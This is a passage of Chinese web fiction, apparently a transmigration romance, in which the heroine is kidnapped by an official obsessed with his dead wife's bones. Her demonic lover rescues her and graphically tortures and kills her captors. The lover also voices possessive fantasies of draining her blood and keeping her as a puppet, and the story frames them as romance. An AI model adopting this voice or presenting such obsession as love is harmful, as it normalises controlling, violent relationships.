少年面上带笑,沿着池镜花傍晚回来的脚印一直往前走。 池镜花的脚印他再熟悉不过,而出现在雪地的另外一双脚印,无非跟在池镜花身后的肮脏虫子。 杀了就好了。 谁让他无缘无故地出现,扰乱他们平静的生活。 不想脚印半道消失,雪地里只留下一堆未燃尽的木柴。 他扫视一眼四周,下一瞬,寒光乍现,有一人悄无声息地接近到他身后,用锋利的短刀抵着他的喉咙。 与池镜花在街上撞到的男人将短刀往他脖颈凑了凑,语气恶狠狠地威胁道:“别动 !说,为何跟踪我?” 随着颈前的凉意散开,奚逢秋闻到了一抹淡淡血腥。 “这话好像不该由你来说。” 他毫不在乎地缓慢摊开五指,眨眼间,短刀被截断,刀片哗啦啦地扎进雪地里。 男人瞳孔骤缩,极速倒退拉开距离,本还有所忌惮的他却在看清奚逢秋五官后,发出爽朗的笑声:“哈哈哈哈,原来是你,倒也省事了,正好把你抓回去交差!” 奚逢秋手指自然垂下,面上挂着极其温和的笑,正一步步地向他走去。 “我始终想不明白,究竟是谁让你们做这些多余的事情。” 由于过去几年他一直以接悬赏令为乐为生,仇家确实很多,可能让这么多人前赴后继地只为杀他而来,需要庞大的财力和精力,他印象中只有几号人,可也早死了。 男人皱眉“啧”了一声,从腰后抽出双刃,“都是个死人了,哪来的这么多问题!” 奚逢秋不羞不恼地点头,继续朝他靠近,“嗯,说的也是。” 对上少年平静古怪的笑,不知怎地,一直占据上风的男人心里发怵,但受雇于人的他没有挣扎的余地。 就在男人胡思乱想之际,奚逢秋已离他越来越近,近到男人觉得时机已到,骤然间,他只觉得脚下一痛,身体失去支撑,一个踉跄,跪在雪地里。 男人低头一看,脚踝以下部位已脱离躯体,哗啦啦的鲜血灌进雪里,平整的伤口暗藏一截不易察觉的白丝。 男人吃痛地咬牙,鲜血从牙龈里挤出,“草,居然是妖!” 惊诧和厌恶不加掩饰地同时出现在男人脸上。 在没遇到池镜花以前,奚逢秋见过太多此类表情。 他无甚所谓地轻轻扯住手中白丝,表情天真地歪了歪脑袋,“没见过吗?” 男人好歹长年混迹江湖,早就清楚这世间存在妖鬼一说。 他很快冷静下来,匍匐在奚逢秋脚边,抓住浅色浅白衣摆,“我们做个交易,你放了我,我告诉你到底是谁想杀你,你可以去找他报仇。” 奚逢秋慢慢露出脚踝处的银白脚链,唇角微弯,一副纯良无害的模样。 “好看吗?” 男人很不理解为何要让自己看脚链,可为了活命,决定顺着他的话点头。 “好、好看。” 浮在少年眼底笑意更甚,他语速极为缓慢,“所以啊……你不该跟踪她的。” 任何试图伤害她、从他身边抢走她的人都该死。 包括他自己。 话音落下,男人攥住他衣角那只手腕猛地断裂。 带血的手掌滚到他脚下,喷涌而出的鲜血溅上脚链。 奚逢秋垂眸盯着这抹鲜红,眼睫一颤,眼底深处流露出一丝厌恶表情。 “好脏。” 男人听不见他的声音,接连失去一手一脚的疼痛,令他承受不住地痛苦嘶吼。 “看来那位大人说得没错,像你这样毫无感情的怪物,终有一天,所有人都会厌恶你、憎恨你、抛弃你,离你而去!” 与往常不同,奚逢秋并未直接削下他的脑袋,而是抬脚踩在他的嘴上,一用力,“咔嚓”一声,踩碎他的头盖骨,踩烂他的整颗脑袋。 看着污血融进雪里,浸透男人残躯。 奚逢秋蓦然记起多年以前,他跟随母亲来京师的发生的事情。 那日落下的雪,在他眼里仿佛也是这样的红。 天空飘下的最后一片洁白雪花,落在他的睫上。 他摸了下颈间的细小伤口,虽然他已经不会再疼了。 但是—— “好冷啊。” 第115章 第115章不会做的。 今年的新年有些特殊,过了年三十,既是年初一,又是春分。 池镜花昨晚前半夜与男配共梦,滋味委实不好受,后半夜虽然没再做梦,可依旧睡得不踏实,不想一早就被春分的炮仗给炸醒了。 奚逢秋罕见地没有抱着她不肯松手,而是早起做好早餐等她。 看着与往常无异。 在和他一道用完早餐,又等他洗好碗,池镜花一把握住他冰冷的手指,满眼期待地望着他。 “要不要一块出门?” 奚逢秋垂眸看了过去,只觉得被她攥在手心指尖很是温暖。 他心情很好地面含微笑,余光瞥见门口逐渐消融的冰雪,指腹微微抚上她泛红的脸颊,轻轻摩挲几下。 “不会觉得冷吗?” “没事,多穿点就好了。” 池镜花虽然怕冷,但不会一直窝在家中。 她指了指门外多日不见的璀璨日光,“而且你看,太阳出来了,多适合出门啊!” 太阳照耀,冰雪消融,枝头堪堪萌发一截绿叶,好像春天也就不远了。 门口的溪流已经陆陆续续开始解冻,守在河边一整个冬天的白鹤把头伸进水里,张大嘴巴,一副等鱼自动往它嘴里钻的样子。 池镜花在认真勘测四周有无种地的可能性,不久浅浅得出结论,指着河边的一片空地说:“等雪彻底融化,春天来的时候,我们买点种子,在这块种点菜吧。” 奚逢秋首次从她口中听说“种菜”二字,不由困惑地歪了歪脑袋。 “种菜?” 一缕日光透过耳铛落在她的面庞,池镜花“嗯”了一声,点头道:“别看我这样,其实我很会种菜的。” 好歹她也是跟爷爷奶奶长大的,乡下农忙的时候都会下地干活,久而久之,就学会这些技能,万一哪天回到农村,也不至于饿死。 池镜花牵着他,一路沿着溪流边上走,“然后我们再养点鸡鸭之类的。” ——就像人世间的普通夫妻那样。 虽然她没有明说,但池镜花觉得,都这样明显了,他应该能明白她的意思。 耳铛在她面前轻轻摇曳,少年微微偏过头,平静的眼底漫上一层疑色,轻柔的嗓音如羽毛撩过她的耳廓。 “好奇怪。” 池镜花不解回望:“哪里奇怪?” 他看似平静地注视她的眼眸,指间力气却紧了紧,无比眷恋这份温暖。 “为何你分明在与我说话,可却好像离我更远了?” 池镜花顿住几息,立即否认:“没有,你想多了。” 虽然攻略进度动得飞快,但池镜花方才真没往那方面想,只能说,在她坦白以后,奚逢秋更加敏感、患得患失。 奚逢秋不语,只垂眸看她。 为驱散笼罩在两人四周的这阵阴霾,池镜花拉着他赶忙步伐加快,语气轻快道:“我们去街上看看吧,来京城这么久,我们还没有一起逛过街呢。” 从郊区到街上的路上寂寥无人,池镜花喋喋不休地,试图用交谈来转移他的注意力。 “你看,今天的天气真好,像不像我们在金德镇那天看到的景色?” 她自然是指,在金德镇她想尽办法带他出门晒太阳那件事,结果还被他怀疑动机,现在想想,真是有点生气。 奚逢秋却不知想到什么,偏头望向她时唇角微弯,仿佛天生一副好说话的温润君子模样。 “嗯,我也爱你。” ……不是,谁跟他说这个了! 自他开窍以后,池镜花隔三差五地总能听到他的示爱,仿佛将之前漏掉的那些全部弥补上还不止,不仅如此,他还总喜欢乐此不疲地问自己爱不爱他,尤其是在与她亲热、她意识混沌的时候。 哪怕她说再多的“喜欢”和“爱”,下次依旧会不知收敛。 池镜花深吸一口气平复心情,兀地停下脚步。 发丝拂过脸颊,她仰面望着少年,脸颊微红,唇瓣张张合合。 “你以前问过我喜欢你什么,可你还没告诉我,你为什么会喜欢我?” 与她最开始就被奚逢秋的外在吸引不同,她的五官长相在他眼里甚至够不上“有趣”二字。 若要仔细盘算,她充其量就是在不断试探接触过程中拿捏了他的喜好,虽然池镜花认为自己能够攻略他的主要因素在这,可她想从他嘴里听到最准确的答案。 池镜花凝神屏气地注视着他。 奚逢秋歪头看她时,露出个浅笑。 “你很奇怪。” 池镜花眨了两下眼睛,以为听错了。 奚逢秋表情异常平静地补充道:“而且,总在骗我。” 池镜花呼吸一滞。 奚逢秋却在笑,“可是却很有意思,你分明怕我,却要强装镇定地靠近我,尝试主动亲我抱我讨好我,真的很有趣。” 他的一字一句虽然令池镜花感到羞耻,可又有点生气。 刚认识那会儿,她冒着生命危险接近她,在他看来只是有意思? ……把她当成讨食的猫来逗呢! 还没来得及开口,池镜花只觉得指尖轻微的异样。 奚逢秋紧了紧握住她的手指,指腹轻轻摩挲她的肌肤,轻缓的声音慢慢飘进她的耳蜗。 “可是很温暖。” 因为她的靠近,他冰冷的身躯逐渐有了不该属于他的温度。 “也很令人愉悦。” 与杀人寻找刺激不同,在与池镜花的相处时,他可以感受到非比寻常的情绪,比做任何事情都令人愉快。 可这种情绪在她远离自己时便荡然无存,取而代之的是嫉妒,他厌恶与她亲近的任何人。 他清楚自己的自私阴暗和偏执,可他离不开她,他要让池镜花永远待在自己身边。 奚逢秋捧住她的脸颊,慢慢俯下身,垂下的乌发若有似无地搭在她的肩上,半遮日光的同时也挡住她的视线,令她眼里只能出现自己的身影。 “如果可以,我想将你的心脏挖出来刻上我的姓名,我想将你的血液放干,把你制成傀儡留在我身边,让你只能日夜对着我笑,与我说话。” 池镜花忍不住打了个冷颤,狠拍了下他的手背,眸子里夹带微微怒意:“不要说这么恐怖的话,我又不是不喜欢你!” 他总若无其事地说一些让她脸红心跳的话就算了,现在甚至没事的时候,用词都变得极端起来。 池镜花无比庆幸自己的心理承受能力愈发强大,甚至有时候,还能找到令她感到兴奋的点。 ……难道这就是人们口中的“天生一对”? 奚逢秋看了眼微红的手背,眼眸抬起,灼灼目光落在她的脸上。 “喜欢?” 池镜花重重点头,“不管你问多少遍,我都只喜欢你。” 他探出一指,轻轻按住她的唇瓣,“那你今日为何还没有亲我?” 池镜花诧异地睁大双眼,“我什么时候说过要每天亲你了?” 他一眨不眨地看着她。 池镜花不好意思地默默别过脸去,低声强调:“……我真的没有说过这话。” 他不甚疑惑地歪了歪脑袋,“可你之前每天都会亲我的,不是吗?” 除了今日,以往的每一天,池镜花都会主动亲他,不管脸颊还是额头,都是以实际行动向他表达爱意。 他以为是池镜花察觉到昨夜自己瞒着她出去杀人,可现在看来并非如此。 池镜花快速扫了眼四周,微不可闻地轻声叹口气,“但我们现在还在外面呢。” 奚逢秋依旧在看她,手指插进她的发间,将人按进自己的怀里。 “可是这里又没有外人,这样也不可以吗?” 池镜花虽然同意他的说法,但仍旧不太放心地提醒道:“那只能亲,不能做别的。” 明白她在担心什么的奚逢秋忽地笑了,点点日光铺在他眼底,随着浮出的笑意略略闪烁。 “不会做的,这里太冷了。” ……说得好像不冷就可以一样。 他什么时候变成这样了? 池镜花面颊一热,耳廓梦地蹿红,“啪”地一下握住他胡作非为的手指,义正辞严地拒绝道:“就算不冷也不能做!” 说罢,她踮起脚尖轻啄了一下他的唇,不想好不容易与他一道出门,结果在这上面浪费太多时间。 怕引起他的不满,池镜花赶紧把人拉走,“好了,马上中午了,我们先去街上找个地方吃饭。” 话虽这么说,可由于正值新年,她并不能确定这个时间,街上还有没有店铺开门,好在还有几家客栈酒楼在做生意。 池镜花随便点了几样普通的家常菜。 味道嘛……比奚逢秋做的要好上那么一丢丢,毕竟,酒楼是靠手艺挣钱的。 虽然对食物没有太大追求,但奚逢秋却笑着说下次给她做。 池镜花望着他不说话,下意识张嘴,任由他给自己喂了口饭。 已经愈发习惯他的投喂。 不想饭吃到一半,风风火火窜进来几个男人,只要了一壶热酒和一盘花生,坐在隔壁就开始吹大牛。 而他们高谈阔论的的话题正是赵星澜来京城的目的。 今日本就春分,又是大年初一,赶上日子很好,所以李大人要开棺替他那早死的老婆移坟做法事。 谁知道他们今早乌泱泱的一群人,去坟地一看,好家伙,那李夫人的棺椁不知何时早就被打开了,但奇怪的是,里面的金银珠宝等陪葬品一分不少,唯独没有尸首。 这要是刚死的美娘子,说不定还有一些心理扭曲的变态可能会偷尸体回去干一些难以启齿的腌臜事。 可那李夫人,就算年轻是轰动京城的大美人,那也死了将近二十年,早就化为一具白骨,谁没事偷几块骨头回去做什么? 第116章 第116章人类的头盖骨。 池镜花努力回忆原著剧情。 由于京城的剧情在原著里靠近结尾,池镜花印象较为深刻。 她隐约记得,这段剧情最刺激的点在于,女主第一次尝试吸男主阳气。 所谓吸阳气,自然是指不可说的成人剧情,正因如此,作者的笔墨几乎全部倾注在男女主的感情上,所以剧情匆匆带过,但绝对没有李夫人尸首被盗一事。 所以,剧情产生偏差了? 池镜花心中警铃大作,她一直记得自己还有个附带任务:维持原著剧情。 可系统并未警告她剧情崩坏,也就是说,男女主那边的剧情在大方向上没有错。 又或者,李夫人尸首丢失一事本就是个谣传? 见她垂目思索一言不发,奚逢秋微笑着勾住她的一缕发丝,缠在自己指尖。 “你很在意吗?” 回过神的池镜花摇了摇头,从他手里取回发丝,“没有很在意,我只是好奇到底是什么人会盗李夫人的尸骨,又没什么用。” 奚逢秋望着空落落的指尖,不知想起什么,唇角逐渐浮现个愉悦的笑。 “也许是因为李夫人的尸体对那个人很重要,所以哪怕死了,他也要挖出来,轻抚她,亲吻她,抱着她,与她相拥而眠,互诉衷肠,只有这样,那个人才会觉得自己是有价值的。” 一字一句不像在说李夫人的事情,更像是他的发自肺腑的自述。 池镜花严重怀疑,他真会这么做。 思来想去,池镜花决定试探一下他。 她故意将板凳往他身侧移,几乎贴着他的肩,仰面抬头轻咳一下,下意识眨了眨水润闪亮的眼睛。 “那我问你,若在正常情况下,尸体死后不久,开始腐烂发臭怎么办?” 他微微抬指轻轻点点了她的眉心,继续往下,细致地描摹出她的五官,眼底闪烁着兴奋的细光,声音又轻又温柔,毫不遮掩地吐露自己内心深处的病态欲望。 “没关系,我会接受你的一切,与你气息交融 ,用你气息填满我空洞的躯壳,当腐肉逐渐褪去,露出永恒的白骨,从此以后,只有你我日夜相对。” 破案了,他从头到尾就是在说他自己! 池镜花表情镇定地“哦”了一声。 虽然很像他有可能会做出来的事情,可池镜花却不会会给他这个机会的,因为她是身穿,哪怕回去,也不会以身死的方式结束。 她唯一担心的是,奚逢秋到底要怎样才能接受她的离去。 望见她微微蹙眉的模样,奚逢秋的指尖自然而然地落在她的眉上,面上总带着一抹温和的淡笑。 “我说得对吗?” 池镜花深深叹口气,“但不是人人都跟你一样……” 奚逢秋轻轻应声,也不知在想什么。 池镜花却觉得,虽然他想法极端,做事毫无章法,但有件事说对了。 像尸体这类物件,如果不是有特殊用处,那就只有亲人才会在乎,毕竟谁没事会偷人骨呢。 不过,既然她最主要的攻略任务一直在稳步推进,而且系统也没有让他行动,那就不要做多余的事情,以免越帮越忙。 打定主意的池镜花付了饭钱,带他离开酒楼,准备去庙里。 毕竟今天是年初一,会有很多人去寺庙里替家人朋友祈福,池镜花也想凑个热闹。 不想寺庙门口人出奇的多。 不管是给给功德箱投钱,还是买香都得排队。 直到排了一个时辰才轮到池镜花,但由于后面的人不停催促,她只能草草了事,对着菩萨焚香许了个愿望。 等挤出寺庙,奚逢秋蓦地紧了紧攥着她的五指,微微偏头看池镜花,眉眼漫上疑色。 “刚才许了什么愿?” 池镜花不假思索地回道:“希望我们永远在一起!” 话虽这么说,可以她那浅薄的佛教知识,她甚至连寺庙里供奉是哪位神佛都看不出,所以拜神求心愿纯属心理安慰。 听她所言实在动听,奚逢秋好心情似的弯了弯眼眸,“嗯,我也是。” 望着他微微上扬的唇角,池镜花思忖几秒,决定默默咽下后半句。 她其实许下两个愿望,一是希望与他永远在一起,二是哪怕她有朝一日真的不得不离开,那他希望他永远平安无虞,不要做出任何极端行为。 而且,她会回来的。 池镜花觉得这应该应该不能算骗他,顶多只是没有把话说完而已。 她如是想着,不多时,又逛到一摊位跟前。 池镜花挑挑拣拣给挑选了个条青绿色的发带,上面辅以精美的绣工,与他极为相衬。 站在摊位前少年指腹轻轻抚过犹如山水般的刺绣纹路,乌黑的眼睫一颤,神色有些迷惘。 “好奇怪。” 听他口中蹦出“奇怪”二字,池镜花忽地记起他那古怪的审美。 她几乎不容置喙地发带塞进他手里,俨然一副强买强卖的架势。 “不要质疑我的审美!” 说起他的审美,令池镜花大为震惊的是,他连正常的美丑都分辨不出,居然还会觉得她好看。 ……莫不是情人眼里出西施? 池镜花只当真是如此,买完发带,又拉着他在街上转悠半天,却没在这个季节看到有卖种子的,只得作罢。 不过转来转去,倒是转到了李大人的府前。 远远地,黄昏光线昏暗,根本看不清里面是什么情况,但时不时有人进进出出,似乎因为李夫人尸骨被盗一事,府中早已乱作一团。 不过都是一些生面孔,却始终没有见到李大人和赵星澜的身影。 池镜花抑制不住好奇心,驻足观察好一会儿。 察觉到她强烈的求知欲,奚逢秋轻轻捏了捏她的指骨,侧头望向她时早已挂上乖巧懂事的笑容。 “要进去看看吗?” 池镜花摇头拒绝:“算了,天快黑了,我们赶紧回家吧,而且太冷了。” 与其把时间浪费在跟自己不相关的事情上,还不如跟他好好相处,而且,这几天,虽然因为春天即将来临,气温所有回升,但夜里依旧很冷。 奚逢秋没说什么,只听话地跟着她往家的方向走,却在进院的前一秒,嘴唇弧度渐起,指尖生出一缕白丝,轻轻勾住了她的小指。 池镜花不由脚步一顿,隐隐生出一股不祥的预感。 “怎么了?” 说话间,他依旧一副温温柔柔的样子,“没什么,只是家里来客人了。” 像想起什么,池镜花紧张地握住他的手指,“会不会昨天在街上跟踪我的那个人?” 奚逢秋记起昨夜发生的事情,“死人应该不会出现在这里才对。” “……” 池镜花瞬间明白他今早为何在床上没有黏着她,原来是刚杀完人从外面回来啊! 念及此,她不禁深吸一口气,还想说点什么,不想他的指尖已经若有似无地绕过她的耳侧,捻过一缕发丝,轻轻将其别至耳后。 “别担心,等一下就好。” 在杀人之前,他虽然毫不避讳,但也会温柔抚平她的惧怕情绪。 池镜花“嗯”了声,深知自己帮不上什么忙,自觉退远点,以免给他添乱。 不过,她在想,既然溜进家中不是昨天跟踪他的那个人,那会不会是他同伴? 那他们会跟前些日子大肆发布悬赏令要取男配性命的幕后之人有关系吗? 因为他们目前为止遇到的麻烦事都是这个幕后之人带来的。 事情越变越复杂,而且因为原著的主视角放在男女主身上,对男配描述的少之又少,这些事情她事先并不知情,甚至原著连结局男配为何会死也没说明白。 她站在门口,听着家里时不时传来的动静,心跳也跟着莫名加速。 就在此时,不知从何处角落窜出几名男子。 为首的年轻男人一副文质彬彬的书生模样,见面先行一礼。 “请问是池镜花池姑娘吗?” 屋里莫名其妙潜伏着人,外面有多出几个人来,直觉告诉池镜花这里面铁定有鬼。 她冷静否认:“不是,你们找错人了。” 可男子只是礼貌性询问一句,其实私下早就证实了她的身份。 他上前一步,做了个“请”的手势,“池姑娘,我们老爷有请。” 说好听点是“请”,准确点就是“绑架”。 池镜花又不傻,还能分辨不出眼前什么情况吗? “奚……” 她刚想出声喊奚逢秋,不想另外一人迅速绕到她身后,一手勒住她的脖颈,一手用一方丝帕死死捂住她的口鼻,阻止她发出任何声响。 凄冷的月光洒在男子的青衫上,他皮笑肉不笑,眯着眼睛像只老狐狸似的笑了笑。 “池姑娘,我家老爷只请了你一个人,不要让奴才们难做,乖乖听话就行。” 池镜花逐渐失去力气的身体无法反抗,只觉得眼前一黑,才骤然明白那帕子上原来给下了药。 不过她还是想不通究竟是什么人在针对她跟奚逢秋。 没等她想明白,意识陡然消散。 昏昏沉沉不知过去多久,池镜花醒来时候手脚皆被绑住,双要被黑布条蒙住,好在还能呼吸和说话。 应该是进入敌人的势力范围了,不然不可能让她开口说话。 但不管她怎么尝试呼喊,四周皆无人回应。 而且根据她丰富的生活经验判断,她目前应该正处于地底,所以无论如何求救,所有的呼喊皆被阻隔。 池镜花尝试移动,不想刚一动弹,指尖似摸到一个冰凉的物体。 她指尖蜷曲了一下,强忍不适,继续向前探索,直到触碰到一个圆润光滑的球形。 虽然不愿承认,但真的很像人类的头盖骨。 ……不会是李夫人的尸骨吧? 那把他掳到这里的人就是盗了李夫人尸骨的那个人吗? 第117章 第117章寻我的妻子。 咕噜咕噜—— 有什么在暗室里不停滚动,刺耳急促的响动如铁锤般重重敲击她的心脏,肆意搅弄她的呼吸和心跳。 想到身旁可能躺着一具人骨,池镜花心都提到嗓子眼,在什么都看不清的情况,这种恐惧被放大无数倍。 就连身体各处的感官都变得敏感。 极度安静的四周令她仿佛可以听得见风声,闻见到潮湿空气中夹带的浓重腥臭。 除了身旁的一具白骨,应该还有一些尸体。 不知是人还是动物。 她继续大着胆子探索周围,直到指尖猛地碰到一滩粘稠的液体,顿时浑身一激灵,不敢再乱动。 不知过去多久,迷迷糊糊之中,她终于听到有微弱的脚步声传来,远远地,黏黏糊糊地喊了她一声:“池姑娘,好久不见。” 声音十分耳熟,可她一时记不起在哪里听过。 池镜花 猝然浑身紧绷,立马质问他是谁,不想对方直接解了她的黑布条。 刹那间,暗室朦胧的烛光照进瞳孔,池镜花适应会儿才睁开双眼。 待看清来者,她诧异地慢慢睁大眼眸,竟有几秒连呼吸都忘了。 “怎么是你!” 是了。 池镜花做梦也没想到,来的居然会是李大人。 “池姑娘不必惊讶。” 李大人一如初见那日一般,一身饱读诗书的儒雅气质,悠悠道:“老夫请姑娘过来,是想求姑娘一件事。” 这哪里是求人的态度吗? 根本就是赤|裸|裸的绑架! 池镜花没有立刻应声,而往他的身后看。 暗室的门已经被关上,他这一路走来,地上尽是蛇鼠尸体,年代久远散发着阵阵恶臭,应该经常拿开做一些见不得人的勾当。 但却到处不见赵星澜踪影。 池镜花猜测男主应当不知道李大人做得这一切。 仿佛猜出她心中所想,李大人微微一笑,毫不遮掩地跟池镜花透露赵星澜的踪迹。 “赵道长不在此处,我跟他说,盗我夫人的尸骨一群盗墓贼,所以他现在正在城外帮查盗墓贼的身影。” 他这般坦诚,若非他此时此刻的所作所为,池镜花还以为是什么正人君子。 手脚皆被绑着池镜花暂时做不了什么,决定打探一下李大人的真实目的。 “那你想让我帮你做什么?” 李大人将头骨抱在怀里,指尖轻抚着,眼里迸发出炽热的浓烈爱意,唇角含着餍足的笑。 “你看,这是我夫人的尸骨,哪怕过去二十年,依旧那么美。” 果不其然,她身旁的这具尸骨真是李夫人。 她猜得不错,李夫人的尸骨根本没丢,有且只有只有死者的亲人,才会在乎这几块骨头,正因如此,系统才没有判定剧情歪了。 池镜花打量着身边拼凑完整的尸骨,实在想象不出李夫人当年到底有多美。 蓦地,抱着头骨的李大人突然跪在她面前,整张脸凑到她跟前,瞳里闪烁着眼底波云诡谲的碎光。 “对了,池姑娘,我有没有说过,你跟我夫人长得很像。” 池镜花一时没反应过来,“什么?” 李大人死死盯着她观察,笑容逐渐消失,忽然面露愁容,“仔细看看,好像又不是那么像……” 池镜花觉得他似乎有点神经兮兮的,精神状态应该不太好。 片刻后,李大人复又笑了起来,指了指她的眼眸,“对了,是眼睛,眼睛很像,其他地方却没那么像。” 池镜花叹口气,四肢被绑得实在难受,“所以呢?你到底想让我做什么?” 李大人眯着眼睛笑:“池姑娘,请把你的眼睛借给我吧。” 根据他的所作所为,他的口中的“借”绝非本意,尤其当池镜花看见他慢吞吞地掏出匕首后。 匕首反射的寒光在昏暗的暗室尤为刺目,仿佛已经扎进她的皮肉里一般,引得池镜花身体一阵恐惧的颤栗。 在得知李大人究竟想做什么以后,池镜花试图一边惶恐地向后倒退,一边试图跟他讲道理。 “李大人,你疯了,就算你取下我的眼睛,你夫人也不会复活的!” 李夫人手指一顿,笑容凝固,神情憎恶地瞪她。 “你怎知不会!” 池镜花有力回怼:“人死不能复生,大人你在朝为官多年,不可能这么简单的道理都不懂吧!” “倘若人死可以复生呢!” 他高声大喊,声音在空荡的暗室飘荡,情绪激动地几乎下一秒就会挥舞匕首朝池镜花的眼睛刺去。 “或许你根本就不知道,我已给我夫人施以秘术,夫人她早就已经活过来了,之所以还是一副白骨相,不过缺少一张美人皮,你的眼睛就是最好的素材!” 疯了。 李大人疯了。 他居然觉得地上那一堆白骨是活着的。 池镜花还想说什么,可他后背已抵着冰冷的墙体,一不留情,李大人的匕首手起刀落,正要直直地朝她的眼睛扎去。 她反应极快,一个偏头躲过攻击,无意让匕首刺进手腕,脑袋不慎撞到墙壁,可手腕传来的痛楚却让池镜花竭力保持清醒。 趁李大人没回过神的刹那间,池镜花忍着剧痛拔下匕首,奋力一脚将人踹开。 “对不住了,李大人。” 保命要紧,池镜花压根顾不了太多,赶紧用匕首割断绳索,不料却四处摸不到暗室的出口。 池镜花急中生智,拖起李大人,用匕首抵着他的咽喉,出言狠狠威胁:“告诉我,出口在哪!” 李大人捂住受伤的腰腹,斜睨了池镜花一眼,有气无力道:“就算你跑出去也没用,外面都是我的人。” 见他拒不配合实在令人恼火,池镜花将匕首往他脖颈边凑了凑。 “少废话,快说,出口在哪!” 直到空气中飘来一股新鲜的血腥,脖颈传来一丝疼痛,李大人方愿意妥协。 他说了声“跟我来”,便领着池镜花,在凹凸的墙面上摸到暗室的开关。 黑夜已过,温暖的阳光倾洒大地,前几日积攒的厚雪已化得差不多,一滩滩醒目的水迹渗进土里。 而暗室外面,有无数守卫,其中就有将她绑来的一伙人。 受了伤的李大人气若游丝地回头瞥她,道:“池姑娘,我早就跟你说过,出来也没用,更何况,我只是需要你一双眼,你何必如此,少了眼睛,又不是活不了。” 池镜花觉得李大人就是站着说话不腰疼,要不试试挖他的眼睛? 但她没必要跟疯子说这些。 池镜花毫不犹豫地又将匕首往他脖前凑,威胁他:“李大人,你是不是忘了,你的性命现在在我手上,你觉得这些人敢……”动手吗? 话未说尽,人群里不知是谁不顾李大人的安危,极速射出一支箭矢,直直朝着她的眉心而来,连四周的空气都为之震颤。 迫于无奈,池镜花只能先松开李大人,赶紧逃命。 暗室为死胡同,她不可能再往回走,只能凭借求生的本能往两边跑。 池镜花甫一松手,立有人接住李大人,询问他究竟该如何处置这姑娘。 李大人本打算悄悄动手挖眼,不想闹出这么大阵仗,又让她露了脸,就算他有意保池镜花一条命都难。 念及此处,他捂着胸口喘着粗气,语气颇为无奈道:“杀了吧,但要注意,不要再跟刚才一样差 点伤了她的眼睛,我需要她完好的一双眼。” 毕竟,她唯一有价值的只有最像夫人的那一双眼- 另一头,池镜花紧握着唯一的保命匕首在四处逃窜。 可由于她并不熟悉李府,况且敌在暗她在明,绕是四处躲藏,她也俨然成为暗卫的笼中之鸟,时不时有不知从哪冒出的箭矢,明晃晃地冲着她的四肢而来。 庆幸的是,这些箭矢没再盯着她的脑袋乱射,所以,她身上造成的伤口虽多,但也给了她喘息的机会。 她本就方向感不佳,也不知道这李府究竟该藏着多少杀手。 池镜花干脆撬开一间无人居住的房间,暂时躲进去。 她靠在门后,呼吸又急又粗,脸色惨白地捂住流血的手腕,正思考下一步到底该怎样做才能脱困。 外面那群杀手她肯定打不过,她唯有尽力拖时间,拖到有人发现李府正在发生的荒唐事,说不定能阻止李大人持续发疯。 就是不清楚奚逢秋有没有发现她被绑到李府来了。 正想着,屋外忽而传出不同寻常的动静,池镜花下意识以为是杀手现身追上来了,着急忙慌地在屋内四处搜寻可以躲藏的地方。 除了衣柜和床底,无处可躲。 就在池镜花犹豫要不躲进床底得了,鼻腔忽地涌进一阵淡淡的香气。 与此同时,耳畔闯入一道再熟悉不过的声音。 “我不是说过吗?我是来找人的,你们抓了我的妻子,我难道寻不得吗?” 第118章 第118章舔舐她的伤口。 白鹤身影翱翔于天际。 日光点点,漂亮的驭鹤少年的衣间血迹斑驳,染血的衣摆略略划过草丛。 他拽着活捉来的男人的头发,不顾男人的死活,硬生生截断了他的左腿,鲜血喷涌而出,于草丛里拖出一条鲜艳的血痕。 少年轻轻垂下眼眸,坠在睫羽上的一滴血珠轻轻滑落脸颊。 他瞥见埋在草丛之下带血的箭矢,唇角弧度上扬,微微偏头时无意流露出漫天的杀意。 “你们用箭伤了她啊……” 浑身是伤的男人早已被恐惧吞噬,他抬头流泪,披头散发地拼命摇头,力求将自己摘个干净。 “不是我,不是我,不是我……” 见他早就吓破了胆,一副不似说谎的模样,奚逢秋笑得和颜悦色、眉眼间溢出似水的温柔,却裹挟着无数锋利刀片。 “那就是李大人?是他让你们这么做的,对吗?” “是……不对,不是不是,我们自作主张,不关大人的事情!” 男人前后说法不一,是不想自己就算有幸活下去也会死在李大人手中,所以两头他都不能得罪。 听他所言,奚逢秋看着毫无怒火,只语气平静地诉尽自己心中早已得出的结论:“嗯,我知道了,都是你们的错。” 都是他们的错,是他们擅自将池镜花带离他的身边。 全部该死。 奚逢求指尖轻巧一颤,男人甚至还没察觉到发生何事已人头落地。 睁眼的头颅在草地里滚几圈,“哐”地一下,砸进满是泥泞的水坑里,瞬间将污水染成血色。 几滴血水溅到衣摆。 他垂眸瞥了一眼,捡起脚边的箭矢,抬脚慢悠悠地朝着箭矢飞来的方向找去。 大抵猜出他的来意,藏匿在屋檐上方被买通的杀手听从命令,顿时纷纷现身,将闯入者死死围在中央。 奚逢秋淡淡扫了眼四周,眼眸弯弯地笑了笑,“嗯,看来不需要特地去找了,省事多了。” “我们认识你。” 人群中,不知是谁说了声,直接道破他的身份,“晋王府的世子是吗?我很好奇,你为何会出现在这里?” 奚逢秋神色微怔,瞬间又恢复如初,静静地,将染血的白丝一圈圈地绕在指尖,面上始终挂着一抹温和的笑。 “我也很好奇,你们是如何知晓我的身份?” 他的身份,是连李大人都不知道的事情,但却在这些杀手传开了,如此看来,想必发布悬赏金的幕后之人势力极大。 也许,他知道一直以来想要取他性命的人是谁了。 他下意识摸向自己在微风中轻轻摇曳的耳铛,猛然记起这已并非母亲“赠与”他的那只。 他现在拥有的耳铛是池镜花为他精心挑选的,也曾一笔一划为他刻上小字。 似乎还残留着她的痕迹。 真是温暖。 可这些人却无端绑她伤她,真是该死啊。 他轻声叹口气,不再理会这些杀手说什么,打算将这些无用之人全杀了。 而且虐杀。 就如同他们用故意箭射伤池镜花的身体一般。 少年歪头笑着,日光透过耳铛,衬得他宛若谪仙般温柔善良的驭鹤少年。 虽然奚逢秋并不觉得这些人能够从自己手下逃得掉,但给予他们希望,再无情掐灭篝火,如此折磨他们,无非是想给他的妻子报仇。 所以,他一开始只是一点点削去他们身上的皮肉,再迅速截断他们的四肢,令他们发出痛苦的哀嚎,最后才割断他们的喉咙,看着他们在日光照耀下直直倒去。 本该是一件很有意思的事情,可他觉得了无生趣。 都怪他们,都怪他们将池镜花从他身边夺去。 少年不急不慢地跨过尸海,走到唯一幸存者的面前,面上带着极尽温柔的笑,“是李大人指使的你们吗?” 他很清楚,这些杀手收钱办事,想要彻底了结此事还得找到源头,才能连根拔起。 幸存者满脸血迹伤痕累累,颤颤巍巍地点了点头,声音惧怕地打颤:“别、别……”杀我。 